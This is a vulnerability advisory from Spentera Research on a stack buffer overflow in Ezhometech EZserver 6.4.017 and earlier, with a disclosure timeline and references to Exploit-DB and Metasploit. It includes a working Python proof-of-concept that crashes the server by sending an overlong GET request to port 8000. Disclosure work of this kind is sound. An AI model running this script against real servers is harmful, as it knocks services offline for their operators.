Ezhometech Ezserver: Stack Overflow Vulnerability

EZserver version 6.4.017 or below contains a buffer overflow vulnerability which may be exploited to cause a denial of service or arbitrary code execution.

Vulnerability Details

Buffer overflow condition exist in URL handling, sending long GET request to the server on port 8000
will cause server process to exit and may allow malicious code injection.
Further research found that the application does not care about the HTTP method,
so that by sending long characters to the port 8000 will make the program crash.

Vendor logs

06/11/2012 – Bug found
06/12/2012 – Vendor contacted
06/16/2012 – No response, advisory released.

Proof of Concept

#!/usr/bin/python

from socket import *
import sys

if len(sys.argv) != 3:
print "[*] Proof of Concept of Ezserver <=6.4.017 Buffer Overflow"
print "[*] by Spentera Research - research[at]spentera[dot]com"
print "[*] http://www.spentera.com/resources/security-advisory\n"
print "[*] Usage: python %s ip port" %sys.argv[0]
sys.exit(0)

host = sys.argv[1]
port = int(sys.argv[2])

junk = "\x41" * 10000
payload = junk

print "[!] Connecting to %s on port %d" % (host,port)
s = socket(AF_INET, SOCK_STREAM)

try:
s.connect((host,port))
print "[+] Launching attack.."
s.send ("GET /" + payload + "HTTP/1.0\r\n\r\n\r\n")
s.close()
except:
print "[x] Could not connect to the server x_x"
sys.exit()

References

Exploit Database: http://www.exploit-db.com/exploits/19266/
Metasploit: http://www.metasploit.com/modules/exploit/windows/http/ezserver_http

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